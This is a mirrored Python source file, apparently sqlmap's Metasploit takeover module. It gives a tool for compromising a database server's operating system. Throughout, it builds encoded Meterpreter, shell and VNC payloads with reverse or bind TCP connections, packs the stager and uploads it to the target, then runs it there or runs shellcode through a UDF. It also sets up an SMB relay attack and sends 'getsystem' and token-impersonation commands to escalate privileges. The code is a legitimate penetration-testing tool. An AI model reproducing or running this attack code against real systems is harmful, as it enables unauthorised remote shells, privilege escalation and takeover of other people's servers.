mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-27 03:53:48 +03:00
681 lines
26 KiB
Python
681 lines
26 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import codecs
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import os
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import re
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import stat
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import sys
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import time
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from select import select
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from subprocess import PIPE
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from subprocess import Popen as execute
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from lib.core.common import dataToStdout
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from lib.core.common import getLocalIP
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from lib.core.common import getRemoteIP
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from lib.core.common import getUnicode
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from lib.core.common import normalizePath
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from lib.core.common import ntToPosixSlashes
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from lib.core.common import randomRange
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.enums import DBMS
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from lib.core.exception import sqlmapDataException
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from lib.core.exception import sqlmapFilePathException
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from lib.core.subprocessng import blockingReadFromFD
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from lib.core.subprocessng import blockingWriteToFD
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from lib.core.subprocessng import pollProcess
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from lib.core.subprocessng import setNonBlocking
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from lib.request.connect import Connect as Request
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from lib.takeover.upx import upx
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class Metasploit:
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"""
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This class defines methods to call Metasploit for plugins.
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"""
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def __initVars(self):
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self.connectionStr = None
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self.lhostStr = None
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self.rhostStr = None
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self.portStr = None
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self.payloadStr = None
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self.encoderStr = None
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self.payloadConnStr = None
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self.resourceFile = None
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self.localIP = getLocalIP()
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self.remoteIP = getRemoteIP()
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self.__msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
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self.__msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
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self.__msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
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self.__msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
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self.__msfPayloadsList = {
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"windows": {
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1: ( "Meterpreter (default)", "windows/meterpreter" ),
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2: ( "Shell", "windows/shell" ),
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3: ( "VNC", "windows/vncinject" ),
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},
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"linux": {
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1: ( "Shell", "linux/x86/shell" ),
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}
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}
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self.__msfConnectionsList = {
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"windows": {
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1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
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2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
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3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" )
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},
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"linux": {
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1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
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2: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
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}
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}
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self.__msfEncodersList = {
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"windows": {
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1: ( "No Encoder", "generic/none" ),
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2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ),
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3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ),
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4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ),
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5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ),
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6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ),
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7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ),
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8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ),
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9: ( "Non-Alpha Encoder", "x86/nonalpha" ),
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10: ( "Non-Upper Encoder", "x86/nonupper" ),
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11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ),
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12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ),
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13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ),
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}
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}
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self.__msfSMBPortsList = {
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"windows": {
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1: ( "139/TCP", "139" ),
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2: ( "445/TCP (default)", "445" ),
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}
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}
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self.__portData = {
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"bind": "remote port number",
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"reverse": "local port number",
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}
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def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
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if kb.os == "Windows":
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opSys = "windows"
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else:
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opSys = "linux"
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message = "which %s do you want to use?" % msg
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if lst:
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for num, data in lst[opSys].items():
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description = data[0]
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if num > maxValue:
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maxValue = num
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if "(default)" in description:
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default = num
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message += "\n[%d] %s" % (num, description)
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else:
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message += " [%d] " % default
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choice = readInput(message, default="%d" % default)
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if not choice:
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if lst:
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choice = getUnicode(default, conf.dataEncoding)
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else:
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return default
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elif not choice.isdigit():
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logger.warn("invalid value, only digits are allowed")
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return self.__skeletonSelection(msg, lst, maxValue, default)
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elif int(choice) > maxValue or int(choice) < 1:
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logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
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return self.__skeletonSelection(msg, lst, maxValue, default)
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choice = int(choice)
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if lst:
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choice = lst[opSys][choice][1]
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return choice
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def __selectSMBPort(self):
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return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
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def __selectEncoder(self, encode=True):
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if isinstance(encode, basestring):
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return encode
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elif kb.os == "Windows" and encode:
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return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
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def __selectPayload(self):
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if kb.os == "Windows" and conf.privEsc:
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infoMsg = "forcing Metasploit payload to Meterpreter because "
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infoMsg += "it is the only payload that can be used to "
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infoMsg += "escalate privileges, either via 'incognito' "
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infoMsg += "extension or via 'getsystem' command"
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logger.info(infoMsg)
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__payloadStr = "windows/meterpreter"
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else:
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__payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList)
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if __payloadStr == "windows/vncinject":
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choose = False
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if kb.dbms == DBMS.MYSQL:
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debugMsg = "by default MySQL on Windows runs as SYSTEM "
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debugMsg += "user, it is likely that the the VNC "
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debugMsg += "injection will be successful"
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logger.debug(debugMsg)
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elif kb.dbms == DBMS.PGSQL:
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choose = True
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warnMsg = "by default PostgreSQL on Windows runs as "
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warnMsg += "postgres user, it is unlikely that the VNC "
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warnMsg += "injection will be successful"
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logger.warn(warnMsg)
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elif kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
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choose = True
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warnMsg = "it is unlikely that the VNC injection will be "
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warnMsg += "successful because usually Microsoft SQL Server "
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warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
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warnMsg += "or the Administrator is not logged in"
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logger.warn(warnMsg)
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if choose:
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message = "what do you want to do?\n"
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message += "[1] Give it a try anyway\n"
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message += "[2] Fall back to Meterpreter payload (default)\n"
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message += "[3] Fall back to Shell payload"
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while True:
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choice = readInput(message, default="2")
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if not choice or choice == "2":
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__payloadStr = "windows/meterpreter"
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break
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elif choice == "3":
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__payloadStr = "windows/shell"
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break
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elif choice == "1":
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if kb.dbms == DBMS.PGSQL:
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logger.warn("beware that the VNC injection might not work")
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break
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elif kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
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break
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elif not choice.isdigit():
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logger.warn("invalid value, only digits are allowed")
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elif int(choice) < 1 or int(choice) > 2:
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logger.warn("invalid value, it must be 1 or 2")
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return __payloadStr
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def __selectPort(self):
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for connType, connStr in self.__portData.items():
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if self.connectionStr.startswith(connType):
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return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
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def __selectRhost(self):
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if self.connectionStr.startswith("bind"):
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message = "which is the back-end DBMS address? [%s] " % self.remoteIP
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address = readInput(message, default=self.remoteIP)
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if not address:
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address = self.remoteIP
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return address
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elif self.connectionStr.startswith("reverse"):
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return None
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else:
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raise sqlmapDataException, "unexpected connection type"
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def __selectLhost(self):
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if self.connectionStr.startswith("reverse") or self.resourceFile is not None:
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message = "which is the local address? [%s] " % self.localIP
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address = readInput(message, default=self.localIP)
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if not address:
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address = self.localIP
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return address
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elif self.connectionStr.startswith("bind"):
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return None
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else:
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raise sqlmapDataException, "unexpected connection type"
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def __selectConnection(self):
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return self.__skeletonSelection("connection type", self.__msfConnectionsList)
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def __prepareIngredients(self, encode=True):
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self.connectionStr = self.__selectConnection()
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self.lhostStr = self.__selectLhost()
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self.rhostStr = self.__selectRhost()
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self.portStr = self.__selectPort()
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self.payloadStr = self.__selectPayload()
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self.encoderStr = self.__selectEncoder(encode)
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if self.payloadStr == "linux/x86/shell":
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self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
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else:
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self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
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def __forgeMsfCliCmd(self, exitfunc="process"):
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self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
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self.__cliCmd += " EXITFUNC=%s" % exitfunc
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self.__cliCmd += " LPORT=%s" % self.portStr
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#self.__cliCmd += " ExitOnSession=true"
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if self.payloadStr == "windows/vncinject":
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self.__cliCmd += " DisableCourtesyShell=1"
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if self.connectionStr.startswith("bind"):
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self.__cliCmd += " RHOST=%s" % self.rhostStr
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elif self.connectionStr.startswith("reverse"):
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self.__cliCmd += " LHOST=%s" % self.lhostStr
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else:
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raise sqlmapDataException, "unexpected connection type"
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self.__cliCmd += " E"
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def __forgeMsfConsoleCmd(self):
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self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
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def __forgeMsfConsoleResource(self):
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self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
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self.__prepareIngredients(encode=False)
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self.__resource = "use windows/smb/smb_relay\n"
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self.__resource += "set SRVHOST %s\n" % self.lhostStr
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self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
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self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
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self.__resource += "set LPORT %s\n" % self.portStr
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#self.__resource += "set ExitOnSession true\n"
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if self.connectionStr.startswith("bind"):
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self.__resource += "set RHOST %s\n" % self.rhostStr
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elif self.connectionStr.startswith("reverse"):
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self.__resource += "set LHOST %s\n" % self.lhostStr
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else:
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raise sqlmapDataException, "unexpected connection type"
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self.__resource += "exploit\n"
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self.resourceFp = codecs.open(self.resourceFile, "w", conf.dataEncoding)
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self.resourceFp.write(self.__resource)
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self.resourceFp.close()
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def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
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self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
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self.__payloadCmd += " EXITFUNC=%s" % exitfunc
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self.__payloadCmd += " LPORT=%s" % self.portStr
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#self.__payloadCmd += " ExitOnSession=true"
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if self.connectionStr.startswith("reverse"):
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self.__payloadCmd += " LHOST=%s" % self.lhostStr
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elif not self.connectionStr.startswith("bind"):
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raise sqlmapDataException, "unexpected connection type"
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if kb.os == "Windows" or extra == "BufferRegister=EAX":
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self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
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if extra is not None:
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self.__payloadCmd += " %s" % extra
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else:
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self.__payloadCmd += " X > %s" % outFile
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def __runMsfCli(self, exitfunc):
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self.__forgeMsfCliCmd(exitfunc)
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infoMsg = "running Metasploit Framework 3 command line "
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infoMsg += "interface locally, please wait.."
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logger.info(infoMsg)
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logger.debug("executing local command: %s" % self.__cliCmd)
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self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
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def __runMsfConsole(self):
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infoMsg = "running Metasploit Framework 3 console locally, please wait.."
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logger.info(infoMsg)
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logger.debug("executing local command: %s" % self.__consoleCmd)
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self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
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def __runMsfShellcodeRemote(self):
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infoMsg = "running Metasploit Framework 3 shellcode "
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infoMsg += "remotely via UDF 'sys_bineval', please wait.."
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logger.info(infoMsg)
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self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
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def __runMsfPayloadRemote(self):
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infoMsg = "running Metasploit Framework 3 payload stager "
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infoMsg += "remotely, please wait.."
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logger.info(infoMsg)
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if kb.os != "Windows":
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self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True)
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cmd = "%s &" % self.exeFilePathRemote
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self.execCmd(cmd, silent=True)
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def __loadMetExtensions(self, proc, metSess):
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if kb.os != "Windows":
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return
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if self.resourceFile is not None:
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proc.stdin.write("sessions -l\n")
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proc.stdin.write("sessions -i %s\n" % metSess)
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proc.stdin.write("use espia\n")
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proc.stdin.write("use incognito\n")
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proc.stdin.write("use priv\n")
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proc.stdin.write("use sniffer\n")
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proc.stdin.write("sysinfo\n")
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proc.stdin.write("getuid\n")
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if conf.privEsc:
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print
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infoMsg = "trying to escalate privileges using Meterpreter "
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infoMsg += "'getsystem' command which tries different "
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infoMsg += "techniques, including kitrap0d"
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logger.info(infoMsg)
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proc.stdin.write("getsystem\n")
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infoMsg = "displaying the list of Access Tokens availables. "
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infoMsg += "Choose which user you want to impersonate by "
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infoMsg += "using incognito's command 'impersonate_token' if "
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infoMsg += "'getsystem' does not success to elevate privileges"
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logger.info(infoMsg)
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proc.stdin.write("list_tokens -u\n")
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proc.stdin.write("getuid\n")
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def __controlMsfCmd(self, proc, func):
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stdin_fd = sys.stdin.fileno()
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setNonBlocking(stdin_fd)
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proc_out_fd = proc.stdout.fileno()
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setNonBlocking(proc_out_fd)
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while True:
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returncode = proc.poll()
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if returncode is None:
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# Child hasn't exited yet
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pass
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else:
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logger.debug("connection closed properly")
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return returncode
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try:
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ready_fds = select([stdin_fd, proc_out_fd], [], [], 1)
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if stdin_fd in ready_fds[0]:
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try:
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proc.stdin.write(blockingReadFromFD(stdin_fd))
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except IOError:
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# Probably the child has exited
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pass
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if proc_out_fd in ready_fds[0]:
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out = blockingReadFromFD(proc_out_fd)
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blockingWriteToFD(sys.stdout.fileno(), out)
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# For --os-pwn and --os-bof
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pwnBofCond = self.connectionStr.startswith("reverse")
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pwnBofCond &= "Starting the payload handler" in out
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# For --os-smbrelay
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smbRelayCond = "Server started" in out
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if pwnBofCond or smbRelayCond:
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func()
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if "Starting the payload handler" in out and "shell" in self.payloadStr:
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if kb.os == "Windows":
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proc.stdin.write("whoami\n")
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else:
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proc.stdin.write("uname -a ; id\n")
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metSess = re.search("Meterpreter session ([\d]+) opened", out)
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if metSess:
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self.__loadMetExtensions(proc, metSess.group(1))
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except EOFError:
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returncode = proc.wait()
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return returncode
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def createMsfShellcode(self, exitfunc, format, extra, encode):
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infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
|
logger.info(infoMsg)
|
|
|
|
self.__randStr = randomStr(lowercase=True)
|
|
self.__shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
|
|
|
|
self.__initVars()
|
|
self.__prepareIngredients(encode=encode)
|
|
self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
|
|
|
|
logger.debug("executing local command: %s" % self.__payloadCmd)
|
|
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
|
|
|
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
|
pollProcess(process)
|
|
payloadStderr = process.communicate()[1]
|
|
|
|
if kb.os == "Windows" or extra == "BufferRegister=EAX":
|
|
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
|
else:
|
|
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
|
|
|
if payloadSize:
|
|
payloadSize = int(payloadSize.group(1))
|
|
|
|
if extra == "BufferRegister=EAX":
|
|
payloadSize = payloadSize / 2
|
|
|
|
debugMsg = "the shellcode size is %d bytes" % payloadSize
|
|
logger.debug(debugMsg)
|
|
else:
|
|
errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "")
|
|
raise sqlmapFilePathException, errMsg
|
|
|
|
self.__shellcodeFP = codecs.open(self.__shellcodeFilePath, "rb")
|
|
self.shellcodeString = self.__shellcodeFP.read()
|
|
self.__shellcodeFP.close()
|
|
|
|
os.unlink(self.__shellcodeFilePath)
|
|
|
|
def createMsfPayloadStager(self, initialize=True):
|
|
if initialize:
|
|
infoMsg = ""
|
|
else:
|
|
infoMsg = "re"
|
|
|
|
infoMsg += "creating Metasploit Framework 3 payload stager"
|
|
|
|
logger.info(infoMsg)
|
|
|
|
self.__randStr = randomStr(lowercase=True)
|
|
|
|
if kb.os == "Windows":
|
|
self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s.exe" % self.__randStr)
|
|
|
|
# Metasploit developers added support for the old exe format
|
|
# to msfencode using '-t exe-small' (>= 3.3.3-dev),
|
|
# http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
|
|
# This is useful for sqlmap because on PostgreSQL it is not
|
|
# possible to write files bigger than 8192 bytes abusing the
|
|
# lo_export() feature implemented in sqlmap.
|
|
if kb.dbms == DBMS.PGSQL:
|
|
self.__fileFormat = "exe-small"
|
|
else:
|
|
self.__fileFormat = "exe"
|
|
else:
|
|
self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
|
|
self.__fileFormat = "elf"
|
|
|
|
if initialize:
|
|
self.__initVars()
|
|
|
|
if self.payloadStr is None:
|
|
self.__prepareIngredients()
|
|
|
|
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
|
|
|
|
logger.debug("executing local command: %s" % self.__payloadCmd)
|
|
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
|
|
|
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
|
pollProcess(process)
|
|
payloadStderr = process.communicate()[1]
|
|
|
|
if kb.os == "Windows":
|
|
payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I)
|
|
else:
|
|
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
|
|
|
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
|
|
|
|
if payloadSize:
|
|
payloadSize = payloadSize.group(1)
|
|
exeSize = os.path.getsize(self.exeFilePathLocal)
|
|
|
|
# Only pack the payload stager if the back-end DBMS operating
|
|
# system is Windows and new portable executable template is
|
|
# used
|
|
if self.__fileFormat == "exe":
|
|
packedSize = upx.pack(self.exeFilePathLocal)
|
|
else:
|
|
packedSize = None
|
|
|
|
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
|
|
|
if packedSize and packedSize < exeSize:
|
|
debugMsg += "as a compressed portable executable its size "
|
|
debugMsg += "is %d bytes, decompressed it " % packedSize
|
|
debugMsg += "was %s bytes large" % exeSize
|
|
else:
|
|
debugMsg += "as a portable executable its size is "
|
|
debugMsg += "%s bytes" % exeSize
|
|
|
|
logger.debug(debugMsg)
|
|
else:
|
|
errMsg = "failed to create the payload stager (%s)" % payloadStderr
|
|
raise sqlmapFilePathException, errMsg
|
|
|
|
def uploadMsfPayloadStager(self, web=False):
|
|
if web:
|
|
self.exeFilePathRemote = "%s/%s" % (self.webDirectory, os.path.basename(self.exeFilePathLocal))
|
|
else:
|
|
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
|
|
|
|
self.exeFilePathRemote = ntToPosixSlashes(normalizePath(self.exeFilePathRemote))
|
|
|
|
logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote)
|
|
|
|
if web:
|
|
self.webFileUpload(self.exeFilePathLocal, self.exeFilePathRemote, self.webDirectory)
|
|
else:
|
|
self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)
|
|
|
|
os.unlink(self.exeFilePathLocal)
|
|
|
|
def pwn(self, goUdf=False):
|
|
if goUdf:
|
|
exitfunc = "thread"
|
|
func = self.__runMsfShellcodeRemote
|
|
else:
|
|
exitfunc = "process"
|
|
func = self.__runMsfPayloadRemote
|
|
|
|
self.__runMsfCli(exitfunc=exitfunc)
|
|
|
|
if self.connectionStr.startswith("bind"):
|
|
func()
|
|
|
|
debugMsg = "Metasploit Framework 3 command line interface exited "
|
|
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
|
|
logger.debug(debugMsg)
|
|
|
|
if not goUdf:
|
|
time.sleep(1)
|
|
self.delRemoteFile(self.exeFilePathRemote)
|
|
|
|
def smb(self):
|
|
self.__initVars()
|
|
self.__randFile = "tmpu%s.txt" % randomStr(lowercase=True)
|
|
|
|
self.__forgeMsfConsoleResource()
|
|
self.__forgeMsfConsoleCmd()
|
|
|
|
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
|
|
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
|
|
else:
|
|
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
|
|
|
|
self.__runMsfConsole()
|
|
|
|
debugMsg = "Metasploit Framework 3 console exited with return "
|
|
debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest)
|
|
logger.debug(debugMsg)
|
|
|
|
os.unlink(self.resourceFile)
|
|
|
|
def bof(self):
|
|
self.__runMsfCli(exitfunc="seh")
|
|
|
|
if self.connectionStr.startswith("bind"):
|
|
self.spHeapOverflow()
|
|
|
|
debugMsg = "Metasploit Framework 3 command line interface exited "
|
|
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow)
|
|
logger.debug(debugMsg)
|